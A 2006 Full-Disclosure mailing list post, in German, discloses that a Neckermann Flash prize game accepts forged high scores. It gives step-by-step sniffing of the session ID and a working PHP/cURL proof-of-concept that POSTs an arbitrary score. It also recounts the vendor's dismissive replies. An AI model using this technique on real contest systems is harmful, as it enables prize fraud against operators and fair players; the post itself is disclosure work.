Full Disclosure mailing list archives

Neckermann Welten - Online Gewinnspiel (German Travel Agency)


From: "Constantin Hofstetter" <constantin.hofstetter () gmail com>
Date: Wed, 21 Jun 2006 16:04:18 +0200

Sorry for posting in German, but its propably only interesting for those
Germans out there, anyway -

Ich hab vor laengerer Zeit (24ter Mai) Neckermann / Neckermann Urlaubswelt
und One-Internet-Development ( http://one-internet-development.de) (Die
Webdesign Firma welche fuer die Realisierung des Gewinnspiels zustaendig
ist), mit folgender Email auf eine "Sicherheitsluecke" im Neckermann
Urlaubswelt Gewinnspiel (zu finden unter:
http://neckermann.one-internet-development.de/) hingewiesen:

-----------------------------------
Gesendet am 24ten Mai 2006
-----------------------------------
....

Beim Gewinnspiel unter http://neckermann
.one-internet-development.de/<http://neckermann.one-internet-development.de/>
handelt es sich um ein Spiel im Macromedia Flash Format -
Technisch gesehn wird dabei eine Macromedia Flash (SWF) Datei auf den
Computer des Internet Besuchers heruntergeladen und ausgeführt - der
Internet Besucher ist hierbei der "Client", der Webserver des
Neckermann Gewinnspiels der "Server".

Wenn das Spiel gespielt worden ist, wird das Ergebnis vom "Client"
Computer zum "Server" unverschlüsselt übertragen - um das Ergebnis mit
dem angemeldeten Benutzer in Verbindung bringen zu können wird
desweiteren eine "Session ID" gesendet (erst vom Server zum Client,
dann bei jedem weiteren Datenwechsel im Datenpaket beinhaltet);

Ein "Angreifer" bzw. "Betrüger" kann in diesem Fall die Packete nach
einem einmaligen Spiel abfangen und analysieren - beim nächsten Spiel
/ einer neuen "Spielchance" kann er eigene Daten-Pakete erstellen und
ein verfälschtes Ergebnis an den Server schicken.

Ich weiss nicht inwiefern Sie sich mit PHP / Curl auskennen, aber hier
ist eine kleine Beispiel Datei (Proof-Of-Concept):

Folgende Software ist von nöten: Etherreal (http://www.ethereal.com/)
(oder ein ähnlicher Paketsniffer, der die gesendeten / empfangenen
Pakete auf einem Netzwerkadapter aufzeichnet), ein Apache Server
(http://www.apache.org) mit PHP Modul ( http://www.php.org) und Curl
Libary (http://curl.haxx.se/).

Schritt 1: Die Software Etherreal wird (auf dem Client PC) gestartet
und so konfiguriert das es auf dem Netzwerkadapter mit
Internetverbindung (z.B. Modem, Netzwerkadapter zum Gateway / Router)
die Datenpakete auf dem TCP Port 80 (http Port) abhört;

Schritt 2: Der Benutzer loggt sich auf der Neckermann Internetseite
ein - Der Packet-Sniffer Etherreal sollte zu diesem Zeitpunkt bereits
die "SessionID" in einem der Pakete vom Server zum Client abgefangen
haben (z.B. "d4e8a78867921fb00bf17de30f05671e");

Schritt 3: Anstatt das Spiel zu starten geben wir die gewünschten
Werte in folgendes Skript ein und laden es auf einem Apache Server mit
PHP Modul und Curl Library:

<?php

$url = "http://
neckermann.one-internet-development.de/index.php?mod=result<http://neckermann.one-internet-development.de/index.php?mod=result>
";
$punkte = "3200"; // Die Gewünschte Punktzahl - das verfälschte Ergebnis
$id = "d4e8a78867921fb00bf17de30f05671e"; // Unsere Session ID

$post_string = "onLoad=%5Btype%20Function%5D&punkte=". $punkte;

$header = array(
      "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv: 1.8.0.3) Gecko/20060426 Firefox/1.5.0.3",

      "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=
0.9,text/plain;q=0.8,image/png,*/*;q=0.5",

      "Accept-Language: en-us,en;q= 0.5",

      "Accept-Encoding: gzip,deflate",

      "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",

      "Keep-Alive: 300",

      "Connection: keep-alive",

      "Cookie: PHPSESSID=". $id ."",

      "Content-type: application/x-www-form-urlencoded",
      "Content-length: ".strlen($post_string)."",
);


     $ch = curl_init();
     curl_setopt($ch, CURLOPT_URL,$url);
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt($ch, CURLOPT_TIMEOUT, 4);
     curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

     curl_setopt($ch, CURLOPT_POST, 1); // set POST method
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); // add POST fields

     $data = curl_exec($ch);

if (curl_errno($ch)) {
         print curl_error($ch);
     } else {
         print $data;
         curl_close($ch);
     }

?>

--- Das Skript erstellt ein Daten-Paket und schickt dieses an den
Neckermann Server - der Server glaubt nun, dass der angemeldete
Benutzer (zu identifizieren anhand der PHP Session ID ($id Wert, den
wir vorher mit dem Packet-Sniffer Etherreal erfasst haben)) das Spiel
gespielt und eine Punktzahl von 3200 Punkten erreicht hat.

Die Werte können angepasst werden (höhere Punktzahl, andere Session ID) -

Das wäre eine Möglichkeit in dem Spiel zu "betrügen" - leider kommt
das immer öfters vor (ich sprech da "aus Erfahrung" :) ) und es ist
wichtig die Webhoster / Gewinnspielanbieter darauf hinzuweisen, dass
eine Server-Client Lösung wie die von Macromedia mit Macromedia Flash
sich nicht als Gewinnspiel (mit Highscore-Preisausschüttung) eignen -
selbst wenn das Ergebnis in der Flash Datei verschlüsselt werden
sollte ... die Datei kann "decompiliert", der
Verschlüsselungsmechanismus nachgestellt und wieder ein "richtiges"
Ergebnis versendet werden.

Als einigermaßen wirkungsvoll zeigt sich die "obfuscation" (zu
Deutsch: "Benebelung", "Verwirrung") der Flash Datei selbst (Siehe
z.B.: http://www.amayeta.com/software/swfencrypt/ ) - dann kann der
Source Code nicht mehr so leicht decompiliert werden .. aber leider
ist selbst dieser Weg nicht 100% sicher - mit dem richtigen Know How
und einer anständigen Menge an "Freizeit" kann man auch dieses System
umgehen (der Sourcecode ist ja noch vorhanden, nur verkompliziert ..);

Um ehrlich zu sein würde ich die Preise verlosen (wäre gerecht, aber
vielleicht nicht so "interessant" für die Spieler) - Gewinnspiele wie
das auf Neckermann Urlaubs Welt sind aber leider sonst viel zu sehr im
Interesse von Skript-Kiddies, Hackern und einfachen Betrügern als das
wirklich jemand gewinnt der auch fair gespielt hat.

Ich selbst bin mit dem Benutzernamen "Consti" im System angemeldet -
und habe nach dreimaligem "Spielen" eine Highscore von "7260" Punkten
- was meines Erachtens ohne das erstellen von eigenen Paketen nicht
möglich wäre - Sie können also meinen Account getrost entfernen (ich
hab aber auch nicht vor, weiter zu "spielen", denn ich bin mir sicher
das die ersten Plätze mit diesen immensen Ergebnissen eh schon
er-cheated wurden :) ).

Und am Ende der Mail noch kurz zu mir ("Werbung" in eigener Sache
*lach*): Ich bin 20 Jahre jung, gerade mit meinem Zivi fertig und
beginne im September mit meinem Wirtschaftsinformatik Studium in Wien
(wenn alles "glatt" läuft bin ich in knapp 6 Jahren Dipl.
Wirtschaftsingenieur Informatik) - ich hab nicht vor irgendwas zu
verkaufen oder in Rechnung zu stellen und wollte Sie nur auf den
Fehler (im eigentlichen Highscore-Gewinnspielsystem mit Flash Dateien)
hinweisen. Ich hoffe Sie entscheiden zu gunsten einer Verlosung der
Gewinne um ein "Gewinnen-durch-betrügen" größtenteils ausschließen zu
können!

Ich hoffe ich konnte Ihnen das "Problem" ausreichend erläutern und
stehe natürlich auch weiterhin für etwaige Fragen gerne zur Verfügung!

....
--------------------
--------------------

Am 30ten Mai kam dann die Feedback mail - Die Infos waeren an geeignete
Stelle weitergeleitet worden.
Als am 14ten Juni immer noch die gleiche "Sicherheitsluecke" (bzw. der
gleiche Design-Fehler) vorhanden war schrieb ich folgende Email:

----------------------
14ter Juni 2006
----------------------

...

Wie es scheint hat meine letzte Email nicht die von mir erhofften Reaktionen
hervorgerufen -
Die Highscore Ergebnisse sind immer noch er-cheated und wenn das am 30. Juni
noch immer der Fall sein sollte werden die Preise an den besten "cheater"
aber nicht den besten Spieler ausgegeben.

Ich bitte Sie, es den Hackern/Tricksern nicht ganz so leicht zu machen und
rate Ihnen weiterhin die Ausgabe der Gewinne nicht nach einer Highscore zu
gestalten sondern unter allen Teilnehmern zu verlosen.

...
---------------------
---------------------

Die Antwort darauf kam am 21 Juni (heute) und lautete wie folgt:
----------------------
Unsere Programmierer haben für die nötige Sicherheit gesorgt, um
Extrem-Hackern den Spaß zu verderben.
-----------------------

Nach ueberpruefung habe ich feststellen koennen das nichts am System
geandert wurde und die erstellung von "fake" Scores weiterhin sehr einfach
ist.
Ein Blick auf die Highscore:
http://neckermann.one-internet-development.de/index.php?mod=highscore
laesst auch annehmen das die Scores ercheated sind (ein Sprung von 300.000zu
400.000 Punkte? - wobei jedes Spiel max 5000 Punkte gibt? erscheint fuer
mich nicht schluessig -)

Wenn das so weiter geht werden die Preise am 30. Juni an den / die besten
Cheater ausgegeben - und der Firma scheint dies, trotz meiner Emails nicht
bewusst zu sein.

Ich hoffe, dass ich mit diesem Post andere Webdesign Firmen ueber das
Struktuelle Problem "Preis-Vergabe-Nach-Highscore-mit-Flash-Spielen"
aufklaeren konnte.

Mit freundlichen Gruessen,
--
Constantin Hofstetter
http://www.consti.de
Constantin.Hofstetter () gmail com
mailmespam () gmail com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: